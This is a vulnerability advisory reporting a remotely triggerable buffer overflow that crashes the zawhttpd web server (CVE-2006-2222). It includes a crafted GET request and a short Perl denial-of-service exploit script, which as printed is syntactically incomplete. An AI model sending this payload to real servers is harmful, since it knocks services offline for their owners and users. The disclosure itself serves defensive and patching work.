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Category:   Application (Web Server/CGI)  >   zawhttpd Vendors:
zawhttpd Can Be Crashed By Remote Users
SecurityTracker Alert ID:  1016030
SecurityTracker URL:
CVE Reference:   CVE-2006-2222   (Links to External Site)
Updated:  Dec 4 2009
Original Entry Date:  May 4 2006
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 0.8.23; possibly earlier versions
Description:   A vulnerability was reported in zawhttpd. A remote user can cause denial of service conditions.

A remote user can send specially crafted data to cause the target service to crash.

A demonstration exploit request is provided:

GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0

Kamil 'K3' Sienicki discovered this vulnerability.

Impact:   A remote user can cause denial of service conditions.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  zawhttpd - Buffer Overflow

Name: zawhttpd 
Version: 0.8.23 previous version probably too.
Language: C
Problem: Buffer Overflow
Discovered by: Kamil 'K3' Sienicki

zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support, 
keep-alive persistent connections, IPv6 support, GET and HEAD requests,
chunked encoding and content-range, directory listing, basic
access logging, daemon mode, and more.

A remote user can supply a specially crafted data which crash server.

# zawhttpd Buffer Overflow Exploit 
#               by Kamil 'K3' Sienicki

use IO::Socket;
use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(
                PeerAddr => $ARGV[0],
                PeerPort => $ARGV[1],
                Proto => "TCP"))
        print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";   
        print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
        print "perl localhost 80 \n";
        print "Cannot connect to $ARGV[0]:$ARGV[1]\n";

Kamil 'K3' Sienicki


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